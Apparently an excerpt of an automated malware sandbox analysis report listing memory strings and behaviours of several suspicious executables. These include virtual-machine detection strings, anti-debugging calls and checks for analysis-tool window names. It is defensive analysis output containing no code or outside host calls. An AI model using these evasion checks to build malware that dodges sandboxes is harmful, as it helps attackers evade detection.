Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: So7a8eQerR.exe, 00000000.00000002.1677775518.0000000000B34000.00000040.00000001.01000000.00000003.sdmp, explorti.exe, 00000001.00000002.1705113996.00000000007A4000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000002.00000002.1713395167.00000000007A4000.00000040.00000001.01000000.00000007.sdmp, explorti.exe, 00000003.00000002.4093184029.00000000007A4000.00000040.00000001.01000000.00000007.sdmp, GIEHIDHJDB.exe, 0000000B.00000002.2002492457.0000000000C84000.00000040.00000001.01000000.0000000C.sdmp, CBFIIEHJDB.exe, 00000014.00000002.3371208566.0000000000434000.00000040.00000001.01000000.00000010.sdmp Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Hyper-V
Source: Amcache.hve.10.dr Binary or memory string: VMware
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: explorti.exe, 00000003.00000002.4096195243.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 37664d9843.exe, 00000004.00000002.1962741464.0000000001F47000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001799000.00000004.00000020.00020000.00000000.sdmp, 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.10.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: So7a8eQerR.exe, 00000000.00000003.1658853011.000000000143D000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: VMware20,1
Source: Amcache.hve.10.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.10.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.10.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.0000000001745000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMwareVMware
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.10.dr Binary or memory string: VMware VMCI Bus Device
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: vmci.syshbin
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: VMware, Inc.
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.00000000018A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7H
Source: Amcache.hve.10.dr Binary or memory string: VMware20,1hbin@
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: xVBoxService.exe
Source: Amcache.hve.10.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.10.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 586ef238b2.exe, 0000000F.00000002.3332366463.00000000018A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\bf
Source: 37664d9843.exe, 00000004.00000002.1962741464.0000000001F1A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW(
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: Amcache.hve.10.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: explorti.exe, 00000003.00000002.4096195243.0000000001488000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAWX
Source: 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: VBoxService.exe
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.10.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: VMWare
Source: Amcache.hve.10.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: 37664d9843.exe, 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: 37664d9843.exe, 00000004.00000002.1957654994.0000000000F1C000.00000040.00000001.01000000.00000009.sdmp, 586ef238b2.exe, 0000000F.00000002.3328030922.000000000043C000.00000040.00000001.01000000.0000000F.sdmp Binary or memory string: #Windows 11 Microsoft Hyper-V Server
Source: C:\Users\user\Desktop\So7a8eQerR.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\So7a8eQerR.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\37664d9843.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Thread information set: HideFromDebugger Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1000006001\586ef238b2.exe Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Thread information set: HideFromDebugger
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\CBFIIEHJDB.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\So7a8eQerR.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GIEHIDHJDB.exe Process queried: DebugPort Jump to behavior
